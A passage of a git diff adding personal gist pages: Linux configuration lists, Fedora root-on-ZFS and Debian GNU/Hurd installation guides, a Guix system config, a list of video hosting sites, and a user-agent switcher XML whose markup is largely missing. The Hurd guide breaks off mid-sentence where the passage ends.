WebAssembly XCore VE" +LUA_TARGETS="lua5-1 lua5-2 lua5-3 lua5-4" +MONKEYD_PLUGINS="auth cheetah dirlisting liana logger mandril tls" +NGINX_MODULES_HTTP="access addition auth_basic auth_ldap auth_pam auth_request autoindex brotli browser cache_purge charset dav dav_ext degradation echo empty_gif fancyindex fastcgiflv geo geoip geoip2 grpc gunzip gzip gzip_static headers_more image_filter javascript limit_conn limit_req limit_conn lua map memc memcached metrics mirror mogilefs mp4 naxsi perlproxy push_stream random_index realip referer rewrite scgi secure_link security slice slowfs_cache split_clients ssi spdy sticky stub_status sub upload_progress upstream_check upstream_hash upstream_ip_hash upstream_keepalive upstream_least_conn upstream_zone userid uwsgi vhost_traffic_status xslt" +NGINX_MODULES_MAIL="imap pop3 smtp" +NGINX_MODULES_STREAM="access geo geoip geoip2 javascript limit_conn map realip return split_clients ssl_preread upstream_hash upstream_least_conn upstream_zone" +OFED_DRIVERS="cxgb3 cxgb4 ehca ipath mlx4 mlx5 mthca nes ocrdma psm" +OFFICE_IMPLEMENTATION="libreoffice openoffice" +OFFICE="libreoffice openoffice" +OPENMPI_FABRICS="dapl ofed knem open-mx psm sctp" +OPENMPI_OFED_FEATURES="control-hdr-padding connectx-xrc rdmacm udcm dynamic-sl failover" +OPENMPI_RM="pbs slurm" +PHP_TARGETS="php7-4 php7-3 php7-2 php7-1 php7-0 php5-6" +POSTGRES_TARGETS="postgres9_3 postgres9_4 postgres9_5 postgres9_6 postgres10 postgres11 postgres12 postgres13" +#PYTHON_SINGLE_TARGET="python2_7 python3_6 python3_7 python3_8 python3_9 pypy3" +PYTHON_TARGETS="python2_7 python3_6 python3_7 python3_8 python3_9 pypy3" +QEMU_SOFTMMU_TARGETS="aarch64 alpha arm avr cris hppa i386 lm32 m68k microblazeel microblaze mips64el mips64 mipsel mips moxie nios2 or1k ppc64 ppc riscv32 riscv64 rx s390x sh4eb sh4 sparc sparc64 tricore unicore32 x86_64 xtensaeb xtensa" +QEMU_USER_TARGETS="aarch64 aarch64_be alpha arm armeb cris hppa i386 m68k microblazeel microblaze mips64el mips64 mipsel mipsn32el mipsn32 mips nios2 or1k ppc64abi32 ppc64le ppc64 ppc riscv32 riscv64 s390x sh4eb sh4 sparc32plus sparc64 sparc tilegx x86_64 xtensaeb xtensa" +ROS_MESSAGES="cxx eus lisp nodejs python" +RUBY_TARGETS="rbx ruby21 ruby22 ruby23 ruby24 ruby25 ruby26 ruby27" +SANE_BACKENDS="abaton agfafocus apple artec artec_eplus48u as6e avision bh canon canon630u canon_dr canon_pp cardscan coolscan coolscan2 coolscan3 dc25 dc210 dc240 dell1600n_net dmcepjitsu epson epson2 escl fujitsu genesys gt68xx hp hp3500 hp3900 hp4200 hp5400 hp5590 hpsj5s hpljm1005 hs2p ibm kodak kodakaio kvs1025 kvs20xx kvs40xx leo lexmark ma1509 magicolormatsushita microtek microtek2 mustek mustek_pp mustek_usb mustek_usb2 nec net niash p5 pie pixma plustek plustek_pp pnm qcam ricoh ricoh2 rts8891 s9036 sceptre sharp sm3600 sm3840 snapscan sp15c st400 stv680 tamarack teco1 teco2 teco3 test u12 umax umax_pp umax1220u xerox_mfp" +USERLAND="GNU" #GNU BSD +UWSGI_PLUGINS="alarm_curl alarm_xmpp cache carbon cheaper_busyness clock_monotonic clock_realtime corerouter curl_cron dumbloop echo emperor_amqp emperor_pg emperor_zeromq fastrouter forkptyrouter geoip graylog2 http ldap legion_cache_fetch logcrypto logfile logpipe logsocket mongodblog nagios notfound pam ping rados rawrouter redislog router_access router_basicauth router_cache router_expires router_hash router_http router_memcached router_metrics router_radius router_redirect router_redis router_rewrite router_spnego router_static router_uwsgi router_xmldir rpc rrdtool rsyslog signal spooler sqlite ssi sslrouter stats_pusher_statsd symcall syslog systemd_logger transformation_chunked transformation_gzip transformation_offload transformation_tofile transformation_toupper tuntap ugreen webdav xattr xslt zabbix zergpool" +VIDEO_CARDS="amdgpu ast dummy exynos freedreno fbdev geode glint i915 i965 imx intel iris lima mga nouveau nvidia nv omap qxl panfrost r100 r128 r200 r300 r600 radeon radeonsi siliconmotion tegra v3d vc4 vesa via virgl virtualbox vivante vmware" +VOICEMAIL_STORAGE="file odbc imap" +XTABLES_ADDONS="account chaos condition delude dhcpmac dnetmap echo fuzzy geoip gradm iface ipmark ipp2p ipv4options length2 logmark lscan quota2 pknock psd sysrq tarpit" +# +``` + + diff --git a/content/gists/c3b20da8c315b7a2852641533fffca74.md b/content/gists/c3b20da8c315b7a2852641533fffca74.md new file mode 100644 index 000000000..4f3288b44 --- /dev/null +++ b/content/gists/c3b20da8c315b7a2852641533fffca74.md @@ -0,0 +1,214 @@ +--- +title: "Fedora with Root on ZFS - installation notes" +type: gist +gist_id: "c3b20da8c315b7a2852641533fffca74" +gist_name: "Fedora with Root on ZFS - installation notes Fedora_Root_On_ZFS.md" +gist_url: https://gist.github.com/dominicusin/c3b20da8c315b7a2852641533fffca74 +updated_at: "2020-12-24T04:03:12Z" +files: ["Fedora_Root_On_ZFS.md"] +--- +_Fedora with Root on ZFS - installation notes_ + +## Fedora_Root_On_ZFS.md + +```Markdown +### Fedora: Root on ZFS + +- Fedora: 28 +- ZFS on Linux: 0.7.9 +___ + +#### A. Prepare source + +1. [Download](https://alt.fedoraproject.org) *Fedora Workstation* network installer image. +2. Boot live media by adding `inst.gpt` at the end of the boot line and set up with: + - a boot partition `/boot/efi` of size 512MB + - a root partition `/` of size *rest of the disk* + - minimal installation +3. Reboot and: + - run `dnf -y update` + - set hostname, networking, *idmapd* + - output of `rpm -qa|grep "grub2-efi-x64\|shim-x64"` should contain: +
    grub2-efi-x64
    +    shim-x64
    + - install UEFI modules and some required packages: +
    dnf -y install grub2-efi-x64-modules kernel-devel gdisk rsync bridge-utils
    + - add system wide profile customization in `/etc/profile.d/` + - run `init 6` +4. Create scripts: + + - to run `dracut` and make `GRUB` ZFS aware: +
    #!/bin/bash
    +    kver=$1
    +    sh -x /usr/bin/dracut -fv --kver $kver
    +    mount /boot/efi
    +    grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg
    +    grubby --set-default-index 0
    +    mkdir -p /boot/efi/EFI/fedora/x86_64-efi
    +    cp -a /usr/lib/grub/x86_64-efi/zfs* /boot/efi/EFI/fedora/x86_64-efi
    +    umount /boot/efi
    + + - to enter `chroot`: +
    #!/bin/bash
    +    target=$1
    +    mount -t proc  proc $target/proc
    +    mount -t sysfs sys $target/sys
    +    mount -o bind /dev $target/dev
    +    mount -o bind /dev/pts $target/dev/pts
    +    chroot $target /bin/env -i HOME=/root \
    +        TERM="$TERM" PS1='[\u@chroot \W]\$ ' \
    +        PATH=/bin:/usr/bin:/sbin:/usr/sbin \
    +        /bin/bash --login
    +    echo "Exiting chroot environment..."
    +    umount $target/dev/pts
    +    umount $target/dev/
    +    umount $target/sys/
    +    umount $target/proc/
    + - make both scripts executable + +5. Add ZFS support to `GRUB` in `/etc/default/grub`: +
    GRUB_PRELOADED_MODULES="zfs"
    +so that it can detect the ZFS filesystem; and +
    GRUB_DISABLE_OS_PROBER=true
    +so that `grub2-mkconfig` does not throw errors. + +6. Fix `GRUB`'s handling of pool device path names by creating `/etc/profile.d/grub2_zpool_fix.sh` containing +
    export ZPOOL_VDEV_NAME_PATH=YES
    +The effect is that `zpool status` will list the full path of the block device: `/dev/disk/by-id/nvme0n1-part2` instead of `nvme0n1-part2`. + +7. Prepare for future kernel updates: +
    ln -s /usr/local/sbin/zmogrify /etc/kernel/postinst.d
    + +8. Add [ZFS on Linux](https://github.com/zfsonlinux/zfs/wiki/Fedora) repository then install and load ZFS: +
    dnf install zfs zfs-dracut
    +modprobe zfs
    + +9. Disable cache and enable scan: +
    systemctl disable zfs-import-cache
    +systemctl enable zfs-import-scan
    + +10. Regenerate `initramfs`: +
    dracut -fv --kver `uname -r`
    + +11. Reboot +___ + +#### B. Prepare target + +1. Wipe disks: +
    sgdisk --zap-all /dev/disk/by-id/nvme0n1
    +sgdisk --zap-all /dev/disk/by-id/nvme1n1
    + +2. Create boot partition (UEFI) and dedicate the rest to ZFS: +
    sgdisk -n1:1M:+512M -t1:EF00 /dev/disk/by-id/nvme0n1
    +sgdisk -n2:0:0 -t2:BF01 /dev/disk/by-id/nvme0n1
    +sgdisk -n1:1M:+512M -t1:EF00 /dev/disk/by-id/nvme1n1
    +sgdisk -n2:0:0 -t2:BF01 /dev/disk/by-id/nvme1n1
    + +3. Format boot partition: +
    mkfs.fat -F32 /dev/disk/by-id/nvme0n1-part1
    +mkfs.fat -F32 /dev/disk/by-id/nvme1n1-part1
    + +4. Create the pool: +
    zpool create -m none -O canmount=off -o ashift=12 -o cachefile=none rpool mirror /dev/disk/by-id/nvme0n1-part2 /dev/disk/by-id/nvme1n1-part2
    + +5. Create a container dataset: +
    zfs create -o canmount=off -o mountpoint=none rpool/ROOT
    + +6. Create the root dataset: +
    zfs create rpool/ROOT/default
    +zfs set acltype=posixacl rpool/ROOT/default # systemd-journald's /var/log/journal
    +zfs set xattr=sa rpool/ROOT/default
    +zfs set compression=on rpool/ROOT/default
    +zfs set atime=off rpool/ROOT/default
    +
    + +7. Create the `home` dataset: +
    zfs create -o compression=on -o atime=off -o xattr=sa -o acltype=posixacl rpool/home
    + +8. Create a dataset for storing data: +
    zfs create -o compression=on -o atime=off -o xattr=sa -o acltype=posixacl rpool/local
    + +9. Create a `swap` volume: +
    zfs create -V 16G -b $(getconf PAGESIZE) -o compression=zle -o logbias=throughput -o sync=always -o primarycache=metadata -o secondarycache=none -o com.sun:auto-snapshot=false rpool/swap
    +mkswap /dev/zvol/rpool/swap
    + +10. Export pool: +
    zpool export rpool
    + +11. Import pool into an alternate mount point: +
    zpool import rpool -d /dev/disk/by-id -o altroot=/sysroot
    + +12. Set the mountpoint for the root and for `home` and `local` datasets: +
    zfs set mountpoint=/ rpool/ROOT/default
    +zfs set mountpoint=/home rpool/home # directory is empty
    +zfs set mountpoint=/local rpool/local # directory is empty
    + +13. Check mountpoints. + +14. Transfer data: +
    rsync -WSHAXhavx / /sysroot/
    + +15. Copy EFI partition from the source to the target: +
    cd
    +mkdir here
    +mount /dev/disk/by-id/nvme0n1-part1 here
    +cp -a /boot/efi/* here
    +umount here
    +rmdir here
    + +15. Add boot and swap partitions to `fstab`: +
    blkid /dev/disk/by-id/nvme0n1-part1
    +Replace content of `/sysroot/etc/fstab` with: +
    UUID=<UUID from blkid>  /boot/efi  vfat  umask=0077,shortname=winnt  0  2
    +/dev/zvol/rpool/swap    swap       swap  defaults                    0  0
    + +17. Enter `chroot`: +
    zenter /sysroot
    + +18. Needed by F28's `GRUB` is a line containing: +
    GRUB_DEVICE_BOOT=/dev/disk/by-id/nvme0n1-part2
    +in `/etc/default/grub`. + +19. Transform target into a ZFS aware system: +
    zmogrify \`uname  -r\`
    + +20. Confirm that `GRUB` can recognize the ZFS filesystem: +
    grub2-probe /
    +should output `zfs`. + +21. Exit `chroot` + +22. Export pool: +
    zpool export rpool
    + +23. Reboot + +24. Take an initial snapshot: +
    zfs snapshot rpool/ROOT/default@initial
    + +25. Create user and group + +26. Complete installation: +
    dnf -y groupinstall "Fedora Workstation"
    +systemctl set-default graphical.target
    +systemctl enable gdm.service
    + +27. Reboot + +___ + +*References*: + + * [https://www.csparks.com/BootFedoraZFS/index.md](https://www.csparks.com/BootFedoraZFS/index.md) + * [http://matthewheadlee.com/projects/zfs-as-root-filesystem-on-fedora](http://matthewheadlee.com/projects/zfs-as-root-filesystem-on-fedora) + * [https://ramsdenj.com/2016/06/23/arch-linux-on-zfs-part-2-installation.html](https://ramsdenj.com/2016/06/23/arch-linux-on-zfs-part-2-installation.html) + * [https://github.com/zfsonlinux/zfs/wiki/Ubuntu-18.04-Root-on-ZFS](https://github.com/zfsonlinux/zfs/wiki/Ubuntu-18.04-Root-on-ZFS) + * [https://wiki.archlinux.org/index.php/ZFS](https://wiki.archlinux.org/index.php/ZFS) + * [https://github.com/zfsonlinux/pkg-zfs/wiki/HOWTO-use-a-zvol-as-a-swap-device](https://github.com/zfsonlinux/pkg-zfs/wiki/HOWTO-use-a-zvol-as-a-swap-device) + * [https://illumos.org/man/1M/zpool](https://illumos.org/man/1M/zpool) + * [https://illumos.org/man/1M/zfs](https://illumos.org/man/1M/zfs) + * [https://docs.fedoraproject.org/en-US/fedora/f28/install-guide/advanced/Boot_Options](https://docs.fedoraproject.org/en-US/fedora/f28/install-guide/advanced/Boot_Options) +``` + + diff --git a/content/gists/c484e8ede9e3145862e04331505e970e.md b/content/gists/c484e8ede9e3145862e04331505e970e.md new file mode 100644 index 000000000..4b7bc64a4 --- /dev/null +++ b/content/gists/c484e8ede9e3145862e04331505e970e.md @@ -0,0 +1,19 @@ +--- +title: "old opkg conf" +type: gist +gist_id: "c484e8ede9e3145862e04331505e970e" +gist_name: "old opkg conf old opkg conf" +gist_url: https://gist.github.com/dominicusin/c484e8ede9e3145862e04331505e970e +updated_at: "2022-04-12T23:10:30Z" +files: ["old opkg conf"] +--- +_old opkg conf_ + +## old opkg conf + +``` + for i in `find /etc -name "*-opkg"`;do echo mv $i `echo $i|sed -e "s/-opkg//"`;done|sh + +``` + + diff --git a/content/gists/c644f1a80d795e99fa24198d63beded4.md b/content/gists/c644f1a80d795e99fa24198d63beded4.md new file mode 100644 index 000000000..dfe9f35e6 --- /dev/null +++ b/content/gists/c644f1a80d795e99fa24198d63beded4.md @@ -0,0 +1,65 @@ +--- +title: "c644f1a80d795e99fa24198d63beded4" +type: gist +gist_id: "c644f1a80d795e99fa24198d63beded4" +gist_name: "video" +gist_url: https://gist.github.com/dominicusin/c644f1a80d795e99fa24198d63beded4 +updated_at: "2017-10-10T10:15:57Z" +files: ["video"] +--- +## video + +``` +Allmyvideos.net +Cloudtime.to +Cloudyvideos.com +Dailymotion.com +Dropbox.com +Facebook.com +Filehoot.com +Flashx.tv +Google Drive +Gfycat.com +Imgur.com +Letwatch.us +Movshare.net +Mp4upload.com +Mrfile.me +Neodrive.co +Novamov.com +Nowvideo.sx +Ok.ru +Played.to +Realvid.net +Shared.sx +Sharerepo.com +Sharesix.com +Stream.moe +Streamable.com +Streamin.to +Thevideo.me +Thefile.me +Turbodrive.net +Uptostream.com/Uptobox.com +Vid.ag +Vid.gg +Vidbull.com +Videomega.tv +Videoweed.es +Videowood.tv +Vidspot.net +Vidto.me +Vidup.me +Vidzi.tv +Vivo.sx +Vk.com +Vodlocker.me +Vshare.eu +Watchvideo.us +Youtube.com +Youwatch.org +Zettahost.tv +Zstream.to +``` + + diff --git a/content/gists/c71a615c6a428abce7b764f864b9e23a.md b/content/gists/c71a615c6a428abce7b764f864b9e23a.md new file mode 100644 index 000000000..aa581a226 --- /dev/null +++ b/content/gists/c71a615c6a428abce7b764f864b9e23a.md @@ -0,0 +1,754 @@ +--- +title: "Massive list of user agents for User Agent Switcher by Chris Pederik http://forums.chrispederick.com/categories/user-agent-switcher" +type: gist +gist_id: "c71a615c6a428abce7b764f864b9e23a" +gist_name: "Massive list of user agents for User Agent Switcher by Chris Pederik http://forums.chrispederick.com/categories/user-agent-switcher useragentswitcher.xml" +gist_url: https://gist.github.com/dominicusin/c71a615c6a428abce7b764f864b9e23a +updated_at: "2017-11-20T19:41:14Z" +files: ["useragentswitcher.xml"] +--- +_Massive list of user agents for User Agent Switcher by Chris Pederik http://forums.chrispederick.com/categories/user-agent-switcher_ + +## useragentswitcher.xml + +```XML + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + s + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + + diff --git a/content/gists/c7a0c4349e49bc82614ab96c031c3493.md b/content/gists/c7a0c4349e49bc82614ab96c031c3493.md new file mode 100644 index 000000000..5ef7ae29b --- /dev/null +++ b/content/gists/c7a0c4349e49bc82614ab96c031c3493.md @@ -0,0 +1,19 @@ +--- +title: "korora" +type: gist +gist_id: "c7a0c4349e49bc82614ab96c031c3493" +gist_name: "korora korora" +gist_url: https://gist.github.com/dominicusin/c7a0c4349e49bc82614ab96c031c3493 +updated_at: "2020-09-12T11:10:39Z" +files: ["korora"] +--- +_korora_ + +## korora + +``` +ansible-galaxy install csmart.korora + +``` + + diff --git a/content/gists/c848a318d8e7d4aaa4efbc4208df1a52.md b/content/gists/c848a318d8e7d4aaa4efbc4208df1a52.md new file mode 100644 index 000000000..df479c21b --- /dev/null +++ b/content/gists/c848a318d8e7d4aaa4efbc4208df1a52.md @@ -0,0 +1,75 @@ +--- +title: "c848a318d8e7d4aaa4efbc4208df1a52" +type: gist +gist_id: "c848a318d8e7d4aaa4efbc4208df1a52" +gist_name: "config.scm" +gist_url: https://gist.github.com/dominicusin/c848a318d8e7d4aaa4efbc4208df1a52 +updated_at: "2018-02-19T22:29:17Z" +files: ["config.scm"] +--- +## config.scm + +```Scheme +(use-modules (gnu) (gnu system nss)) +(use-service-modules networking desktop ssh) +(use-package-modules admin certs ncurses gnome bootloaders ratpoison suckless wm) + +(operating-system + (host-name "quazar") + (timezone "Europe/Tiraspol") + (locale "ru_RU.utf8") + + ;; Assuming /dev/sdX is the target hard disk, and "my-root" + ;; is the label of the target root file system. + (bootloader (bootloader-configuration + (bootloader grub-bootloader) + (target "/dev/sda"))) + + (swap-devices '("/dev/disk/by-partlabel/swap")) + (file-systems (cons* (file-system + (device (uuid "5abb41b1-8d43-47c5-80b8-69f83ef357d5")) + (title 'uuid) + (mount-point "/") + (options "compress=zlib") + (type "btrfs")) + (file-system + (device (uuid "b0069d1b-7874-46e2-9044-583d59f31f48")) + (title 'uuid) + (mount-point "/boot") + (type "ext4")) + %base-file-systems)) + + (users (cons (user-account + (name "domini") + (comment "mantainer") + (group "users") + (supplementary-groups '("wheel" "admin" "netdev" + "cdrom" "audio" "video")) + (home-directory "/home/domini")) + %base-user-accounts)) + + ;; This is where we specify system-wide packages. + (packages (cons* nss-certs ;for HTTPS access + ratpoison i3-wm i3status dmenu ;window managers + ncurses + gnome + gvfs ;for user mounts + tcpdump + htop + %base-packages)) + + ;; Add GNOME and/or Xfce---we can choose at the log-in + ;; screen with F1. Use the "desktop" services, which + ;; include the X11 log-in service, networking with Wicd, + ;; and more. + (services (cons* (gnome-desktop-service) + (xfce-desktop-service) + (console-keymap-service "ru") + %desktop-services)) + + ;; Allow resolution of '.local' host names with mDNS. + (name-service-switch %mdns-host-lookup-nss)) + +``` + + diff --git a/content/gists/cca3224f48ef7fcd127f06f7f046cdd4.md b/content/gists/cca3224f48ef7fcd127f06f7f046cdd4.md new file mode 100644 index 000000000..d7d48f56d --- /dev/null +++ b/content/gists/cca3224f48ef7fcd127f06f7f046cdd4.md @@ -0,0 +1,211 @@ +--- +title: "Debian GNU Hurd installation in real hardware" +type: gist +gist_id: "cca3224f48ef7fcd127f06f7f046cdd4" +gist_name: "Debian GNU Hurd installation in real hardware Debian_Hurd_Install.md" +gist_url: https://gist.github.com/dominicusin/cca3224f48ef7fcd127f06f7f046cdd4 +updated_at: "2020-12-24T03:56:23Z" +files: ["Debian_Hurd_Install.md"] +--- +_Debian GNU Hurd installation in real hardware_ + +## Debian_Hurd_Install.md + +```Markdown +## How to install Debian GNU/Hurd in a real PC +### Debian GNU/Hurd installation guide to real hardware + +### Requirements + +- An old PC +- DVD-R or CD-R +- Recommended hardware + - Wired Network Connection + - CPU with high clock speed + - AHCI SATA or IDE Hard Disk + - PS/2 keyboard and mouse + - `>=` 512 MB RAM + +### Steps + +- **Step 0**: Search an old PC. I recommend to use a CPU with high clock speed. because Hurd only use one logical processor. Also, your PC must be IDE or SATA in AHCI mode. + + Hurd doesn't support USB, so possibly you will need a PS/2 keyboard and mouse. + + To get network connection, you must to use a wired connection. Hurd supports WiFi, but only with a few models, so I recommend to use a wired connection. + +- **Step 1**: Download iso image from https://cdimage.debian.org/cdimage/ports/latest/hurd-i386/ . + + You can download the latest stable version from here: [DVD](https://cdimage.debian.org/cdimage/ports/current-hurd-i386/iso-dvd/) or [CD](https://cdimage.debian.org/cdimage/ports/current-hurd-i386/iso-cd/). To install the system only CD-1 or DVD-1 is needed. The others images only provides a offline repository with all packages included in Debian. + + If you download CD-1 image, may you need a Internet connection to install any package during the installation. + + Optionally, you can download the *current* image, the latest build uploaded from developers. This images will be more updated than the official version, but It also can contains many errors or be unstable. +This images only are offered in [CD-1](https://cdimage.debian.org/cdimage/ports/latest/hurd-i386/current/debian-sid-hurd-i386-CD-1.iso) or [DVD-1](https://cdimage.debian.org/cdimage/ports/latest/hurd-i386/current/debian-sid-hurd-i386-DVD-1.iso). + + After download iso image, burn It in a CD or DVD (Hurd don't support USB). + + +- **Step 2**: Insert CD/DVD in the computer, and boot from this. + When the CD boots, select "*Pseudographical Install*" or "*Text Install*". Optionally, you can to select "*Graphical Install*", but It use to show more errors than the others. + + ![*Installer Main Menu*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8c92a1da797338f3fb2dc4a7ea7cdb7d7a34774a/installer.png) + +- **Step 3**: Follow the steps of the installer. It's possible that installer shows blank blue screen during charge of any step. + - **Check Network Connection**: In network configuration step, the installer will try to set a network connection via DHCP or, optionally, manual configuration. + + ![*Network Configuration*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/5226b182b075e0f33e3655201d973642f8137772/network.png) + + ![*Setting DHCP*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/5226b182b075e0f33e3655201d973642f8137772/network3.png) + + If the installer gets network connection, Hurd will have detected correctly the network card. If not, possibly you need to find a compatible NIC (Hurd use driver collection from Linux 2.6.32). + + Continue with the next steps. + + +- **Step 4**: In partitioner step, select "*Guided: use entire disk*". + + + ![*Guided partitioning*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/d8bdc231b6f137e304dd98df07cbaf7a121bbd94/partition.png) + + Select your hard disk unit, where you want to install Debian GNU/Hurd + + ![*Select Disk*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/d8bdc231b6f137e304dd98df07cbaf7a121bbd94/partition2.png) + + Then, select "*All files in a one partition*". Hurd can fails if any directory are in a separated partition. (you can try it if want, but in some case could produce errors). + + ![*Partition mode*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/d8bdc231b6f137e304dd98df07cbaf7a121bbd94/partition3.png) + + Press "*Finish partitioning and write changes to disk*" and, in the dialog, select "*Yes*" to apply the changes. + + + ![*Finish partitioning*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/d8bdc231b6f137e304dd98df07cbaf7a121bbd94/partition4.png) + + Wait to partitioning and "*Install base system*" steps. + + ![*Installing base system*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/0404f358c56da10f2720ce439afd32719f78c699/installbase.png) + +- **Step 5**: In *Configure the packages manager* step, when the dialog ask *if you wish to scan another CD or DVD* select "No". + + ![*Scan CD*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/packages.png) + + Then, It shows a new dialog, asking to *use a network mirror*. Select "Yes". + + ![*Add mirror*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/packages2.png) + + In the new dialog, select a mirror. + + ![*Select mirror*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/packages3.png) + + ![*Select mirror2*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/VirtualBox_Debian%2520GNUHurd2_17_08_2018_00_48_17.png) + + ![*Select mirror3*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/packages5.png) + + Wait while apt synchronize the mirror. + + ![*Sync apt*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/874f9194600f6c1cff87aa32b8b04adb89eaf73e/VirtualBox_Debian%2520GNUHurd2_17_08_2018_00_49_12.png) + +- **Step 6**: In "*Select and Install software*" step, select software in tasksel. + - In Debian GNU/Hurd 2017, you can to select your favourite Desktop Environment, and other utilities. + + ![*Select software*](https://gist.github.com/AlmuHS/f0c036631881756e817504d28217a910/raw/cb9d06e5177a4cde98c698a93588d8dd451cedf3/tasksel.png) + + - In Debian GNU/Hurd current image, unselect all. (*Current* images use to fail when select software in tasksel). + + ![*Select software in current*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8f79eb0a6467328382bbf0ac9a6c059952bb1cb9/tasksel2.png) + + Wait until software is installed. + +- **Step 7**: In GRUB step, when dialog ask "*Install the GRUB loader to master boot record*", select "*Yes*". + + ![*Installing GRUB*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/fbb5e991b89bd13e1de69e0b1633f3699ec84e70/grub.png) + + ![*GRUB MBR*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/fbb5e991b89bd13e1de69e0b1633f3699ec84e70/VirtualBox_Debian%2520GNUHurd2_17_08_2018_01_29_56.png) + + In the next dialog, select your harddisk unit. + + ![*GRUB unit*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/fbb5e991b89bd13e1de69e0b1633f3699ec84e70/VirtualBox_Debian%2520GNUHurd2_17_08_2018_01_31_29.png) + + Wait until installation finish, and reboot + + ![*Finish installation*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8c92a1da797338f3fb2dc4a7ea7cdb7d7a34774a/finish.png) + + ![*reboot*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8c92a1da797338f3fb2dc4a7ea7cdb7d7a34774a/finish2.png) + +- **Step 8**: Boot the new system and check It starts correctly and the configuration is correctly applied + + ![*Boot system*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8c92a1da797338f3fb2dc4a7ea7cdb7d7a34774a/boot.png) + + + ### Extra steps + + - **Install Ping**: Ping isn't installed by default, but you can install it with + inetutils-ping package. + + # apt install inetutils-ping + + - **Configure Xorg**: If, during the installation, you have installed any DE; you will needs to configure Xorg. + + - **Allow startx**: To allow any user to start xorg, you must to execute this command: + + dpkg-reconfigure x11-common xserver-xorg-legacy + + ![*Configure xorg*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8f79eb0a6467328382bbf0ac9a6c059952bb1cb9/xorg-allow.png) + + In the dialog, select "*Anybody*". + + Execute ` $ startx` (as user) to check that Xorg starts correctly. The first time may during a minutes. + + - **Enable ctrl-alt-backspace to kill Xorg**: + + To enable this keycomb, create a `/etc/X11/xorg.conf` with this content: + + ~~~ + Section "InputDevice" + Identifier "Generic Keyboard" + Driver "kbd" + Option "XkbOptions" "terminate:ctrl_alt_bksp" + EndSection + ~~~ + + - **Install XDM**: In the DE installation, Hurd install lightdm, but It don't runs, so must be replaced by XDM. + + You can install XDM with the command: + + # apt install xdm + + During the installation, a dialog will ask about change Desktop Manager by default. Select "ok" and, in the new dialog, select "xdm" + + ![*Configure xdm*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8f79eb0a6467328382bbf0ac9a6c059952bb1cb9/xdm.png) + + ![*Select xdm as default DM*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/8f79eb0a6467328382bbf0ac9a6c059952bb1cb9/xdm2.png) + + Execute `# service xdm start` to start the DM + + ![*xdm started*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/ab30b949631dc03649f1909e175188864686de94/xdm_login.png) + + - **Add main repositories**: In Debian GNU/Hurd 2017, the only repository add by default is `ports`. But, to get more updates, may be interesting to add the Debian official repository. + + You can add this, adding this lines to `/etc/apt/sources.list` + + deb http://deb.debian.org/debian-ports unstable main + deb-src http://deb.debian.org/debian unstable main + deb http://deb.debian.org/debian-ports unreleased main + + After add them, execute `apt update` to update the apt index. + + - **Allow logout from DE**: By default, when the DE is started using `startx` command, and you try to logout, the DE don't finish correctly and don't return to tty. + + To solve this, we can add setuid 